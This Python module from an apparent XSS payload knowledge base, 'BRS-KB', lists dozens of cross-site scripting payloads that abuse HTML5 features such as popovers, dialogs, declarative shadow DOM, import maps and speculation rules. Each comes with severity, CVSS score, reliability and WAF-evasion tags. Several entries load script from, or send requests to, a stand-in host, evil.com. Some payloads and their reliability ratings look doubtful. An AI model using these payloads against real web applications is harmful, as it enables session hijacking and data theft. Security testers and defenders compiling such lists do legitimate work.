#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

HTML Tag XSS Payloads - HTML5 Modern APIs
"""

from ..models import PayloadEntry


HTML5_MODERN_API_PAYLOADS = {
    # === HTML5 Modern APIs ===
    "html5-popover-basic": PayloadEntry(
        payload='<div popover id="x"><script>alert(1)</script></div><button popovertarget="x">Show</button>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML5 Popover API with script injection",
        tags=["html5", "popover", "modern", "chrome-114"],
        reliability="high",
    ),
    "html5-popover-event": PayloadEntry(
        payload='<div popover id="x" onshow=alert(1)>Content</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover with onshow event handler",
        tags=["html5", "popover", "event", "modern"],
        reliability="high",
    ),
    "html5-dialog-content": PayloadEntry(
        payload='<dialog id="modal"><script>alert(1)</script></dialog><script>document.getElementById("modal").showModal()</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML5 Dialog with script injection",
        tags=["html5", "dialog", "modal", "modern"],
        reliability="high",
    ),
    "html5-dialog-event": PayloadEntry(
        payload='<dialog onclose=alert(1) open><form method="dialog"><button>Close</button></form></dialog>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog with onclose event handler",
        tags=["html5", "dialog", "event", "modern"],
        reliability="high",
    ),
    "html5-view-transition": PayloadEntry(
        payload='<div style="view-transition-name: x"><img src=x onerror=alert(1)></div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.2,
        description="View Transitions API with img onerror",
        tags=["html5", "view-transitions", "spa", "modern", "chrome-111"],
        reliability="high",
    ),
    "html5-declarative-shadow-dom": PayloadEntry(
        payload='<template shadowrootmode="open"><script>alert(1)</script></template>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.8,
        description="Declarative Shadow DOM with script",
        tags=["html5", "shadow-dom", "declarative", "web-components", "chrome-111"],
        reliability="high",
    ),
    "html5-import-map": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Import Maps with data URL",
        tags=["html5", "import-maps", "es-modules", "chrome-89"],
        reliability="high",
        waf_evasion=True,
    ),
    "html5-speculation-rules": PayloadEntry(
        payload='<script type="speculationrules">{"prefetch":[{"source":"list","urls":["javascript:alert(1)"]}]}</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Speculation Rules API with javascript URL",
        tags=["html5", "speculation-rules", "prefetch", "chrome-109"],
        reliability="medium",
        waf_evasion=True,
    ),
    "html5-selectmenu": PayloadEntry(
        payload="<selectmenu><option><img src=x onerror=alert(1)></option></selectmenu>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="HTML5 Selectmenu with img onerror",
        tags=["html5", "selectmenu", "experimental", "chrome-120"],
        reliability="medium",
    ),
    # === HTML5 Popover API - Extended Payloads ===
    "html5-popover-svg": PayloadEntry(
        payload='<div popover id="x"><svg onload=alert(1)></svg></div><button popovertarget="x">Show</button>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover with SVG onload",
        tags=["html5", "popover", "svg", "modern"],
        reliability="high",
    ),
    "html5-popover-iframe": PayloadEntry(
        payload='<div popover id="x"><iframe src=javascript:alert(1)></iframe></div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover with iframe javascript",
        tags=["html5", "popover", "iframe", "modern"],
        reliability="medium",
    ),
    "html5-popover-auto": PayloadEntry(
        payload='<div popover="auto" id="x"><img src=x onerror=alert(1)></div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover auto attribute",
        tags=["html5", "popover", "auto", "modern"],
        reliability="high",
    ),
    "html5-popover-manual": PayloadEntry(
        payload='<div popover="manual" id="x"><script>alert(1)</script></div><script>document.getElementById("x").showPopover()</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover manual with showPopover",
        tags=["html5", "popover", "manual", "modern"],
        reliability="high",
    ),
    "html5-popover-toggle": PayloadEntry(
        payload='<div popover id="x"><svg/onload=alert(1)></div><button popovertarget="x" popovertargetaction="toggle">Toggle</button>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover toggle action",
        tags=["html5", "popover", "toggle", "modern"],
        reliability="high",
    ),
    "html5-popover-hide": PayloadEntry(
        payload='<div popover id="x"><img src=x onerror=alert(1)></div><button popovertarget="x" popovertargetaction="hide">Hide</button>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover hide action",
        tags=["html5", "popover", "hide", "modern"],
        reliability="high",
    ),
    "html5-popover-onshow": PayloadEntry(
        payload='<div popover id="x" onshow="alert(1)">Content</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover onshow event",
        tags=["html5", "popover", "onshow", "event"],
        reliability="high",
    ),
    "html5-popover-onhide": PayloadEntry(
        payload='<div popover id="x" onhide="alert(1)">Content</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover onhide event",
        tags=["html5", "popover", "onhide", "event"],
        reliability="high",
    ),
    "html5-popover-target-injection": PayloadEntry(
        payload='<div popover id="<script>alert(1)</script>">Content</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Popover target ID injection",
        tags=["html5", "popover", "injection", "modern"],
        reliability="medium",
    ),
    # === HTML5 Dialog - Extended Payloads ===
    "html5-dialog-svg": PayloadEntry(
        payload='<dialog id="modal"><svg onload=alert(1)></svg></dialog><script>document.getElementById("modal").showModal()</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog with SVG onload",
        tags=["html5", "dialog", "svg", "modern"],
        reliability="high",
    ),
    "html5-dialog-open": PayloadEntry(
        payload="<dialog open><img src=x onerror=alert(1)></dialog>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog open attribute",
        tags=["html5", "dialog", "open", "modern"],
        reliability="high",
    ),
    "html5-dialog-returnvalue": PayloadEntry(
        payload='<dialog><form method="dialog"><input name="returnValue" value="<script>alert(1)</script>"><button>Close</button></form></dialog>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog returnValue injection",
        tags=["html5", "dialog", "returnvalue", "modern"],
        reliability="high",
    ),
    "html5-dialog-close": PayloadEntry(
        payload="<dialog id=\"modal\"><button onclick=\"document.getElementById('modal').close('<script>alert(1)</script>')\">Close</button></dialog>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog close with value",
        tags=["html5", "dialog", "close", "modern"],
        reliability="high",
    ),
    "html5-dialog-onsubmit": PayloadEntry(
        payload='<dialog><form method="dialog" onsubmit="alert(1)"><button>Submit</button></form></dialog>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dialog form onsubmit",
        tags=["html5", "dialog", "form", "onsubmit"],
        reliability="high",
    ),
    # === View Transitions - Extended Payloads ===
    "html5-view-transition-script": PayloadEntry(
        payload='<div style="view-transition-name: x"><script>alert(1)</script></div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.2,
        description="View transition with script",
        tags=["html5", "view-transitions", "script", "modern"],
        reliability="high",
    ),
    "html5-view-transition-iframe": PayloadEntry(
        payload='<div style="view-transition-name: x"><iframe src=javascript:alert(1)></iframe></div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.2,
        description="View transition with iframe",
        tags=["html5", "view-transitions", "iframe", "modern"],
        reliability="medium",
    ),
    "html5-view-transition-svg": PayloadEntry(
        payload='<div style="view-transition-name: x"><svg onload=alert(1)></svg></div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.2,
        description="View transition with SVG",
        tags=["html5", "view-transitions", "svg", "modern"],
        reliability="high",
    ),
    "html5-view-transition-css": PayloadEntry(
        payload='<style>::view-transition-old(root){content:url("javascript:alert(1)")}</style>',
        contexts=["css"],
        severity="high",
        cvss_score=7.2,
        description="View transition CSS content",
        tags=["html5", "view-transitions", "css", "modern"],
        reliability="medium",
    ),
    # === Declarative Shadow DOM - Extended Payloads ===
    "html5-shadow-dom-script": PayloadEntry(
        payload='<template shadowrootmode="open"><script>alert(1)</script></template>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.8,
        description="Shadow DOM with script",
        tags=["html5", "shadow-dom", "script", "modern"],
        reliability="high",
    ),
    "html5-shadow-dom-svg": PayloadEntry(
        payload='<template shadowrootmode="open"><svg onload=alert(1)></svg></template>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.8,
        description="Shadow DOM with SVG",
        tags=["html5", "shadow-dom", "svg", "modern"],
        reliability="high",
    ),
    "html5-shadow-dom-img": PayloadEntry(
        payload='<template shadowrootmode="open"><img src=x onerror=alert(1)></template>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.8,
        description="Shadow DOM with img onerror",
        tags=["html5", "shadow-dom", "img", "modern"],
        reliability="high",
    ),
    "html5-shadow-dom-closed": PayloadEntry(
        payload='<template shadowrootmode="closed"><script>alert(1)</script></template>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.8,
        description="Shadow DOM closed mode",
        tags=["html5", "shadow-dom", "closed", "modern"],
        reliability="high",
    ),
    "html5-shadow-dom-slot": PayloadEntry(
        payload='<template shadowrootmode="open"><slot name="<script>alert(1)</script>"></slot></template>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.8,
        description="Shadow DOM slot injection",
        tags=["html5", "shadow-dom", "slot", "modern"],
        reliability="medium",
    ),
    "html5-shadow-dom-style": PayloadEntry(
        payload='<template shadowrootmode="open"><style>@import url("//evil.com/xss.css")</style></template>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.8,
        description="Shadow DOM style import",
        tags=["html5", "shadow-dom", "style", "modern"],
        reliability="high",
    ),
    # === Import Maps - Extended Payloads ===
    "html5-import-map-jsonp": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,import(\'//evil.com/x.js\')"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Import map with JSONP",
        tags=["html5", "import-maps", "jsonp", "modern"],
        reliability="high",
    ),
    "html5-import-map-scope": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"//evil.com/x.js"},"scopes":{"/":{"x":"data:text/javascript,alert(1)"}}}</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Import map scopes",
        tags=["html5", "import-maps", "scopes", "modern"],
        reliability="high",
    ),
    "html5-import-map-eval": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,eval(\'alert(1)\')"}}</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Import map with eval",
        tags=["html5", "import-maps", "eval", "modern"],
        reliability="high",
    ),
    "html5-import-map-dynamic": PayloadEntry(
        payload='<script type="importmap" id="map"></script><script>document.getElementById("map").textContent=\'{"imports":{"x":"data:text/javascript,alert(1)"}}\';import"x"</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Import map dynamic creation",
        tags=["html5", "import-maps", "dynamic", "modern"],
        reliability="high",
    ),
    # === Speculation Rules - Extended Payloads ===
    "html5-speculation-prerender": PayloadEntry(
        payload='<script type="speculationrules">{"prerender":[{"source":"list","urls":["javascript:alert(1)"]}]}</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Speculation rules prerender",
        tags=["html5", "speculation-rules", "prerender", "modern"],
        reliability="medium",
    ),
    "html5-speculation-eager": PayloadEntry(
        payload='<script type="speculationrules">{"prefetch":[{"source":"list","urls":["data:text/html,<script>alert(1)</script>"],"eager":true}]}</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Speculation rules eager prefetch",
        tags=["html5", "speculation-rules", "eager", "modern"],
        reliability="medium",
    ),
    "html5-speculation-referrer": PayloadEntry(
        payload='<script type="speculationrules">{"prefetch":[{"source":"list","urls":["//evil.com/x"],"referrer_policy":"unsafe-url"}]}</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Speculation rules referrer policy",
        tags=["html5", "speculation-rules", "referrer", "modern"],
        reliability="medium",
    ),
    # === Selectmenu - Extended Payloads ===
    "html5-selectmenu-script": PayloadEntry(
        payload="<selectmenu><option><script>alert(1)</script></option></selectmenu>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Selectmenu with script",
        tags=["html5", "selectmenu", "script", "experimental"],
        reliability="medium",
    ),
    "html5-selectmenu-svg": PayloadEntry(
        payload="<selectmenu><option><svg onload=alert(1)></svg></option></selectmenu>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Selectmenu with SVG",
        tags=["html5", "selectmenu", "svg", "experimental"],
        reliability="medium",
    ),
    "html5-selectmenu-button": PayloadEntry(
        payload="<selectmenu><button><img src=x onerror=alert(1)></button></selectmenu>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Selectmenu button injection",
        tags=["html5", "selectmenu", "button", "experimental"],
        reliability="medium",
    ),
}
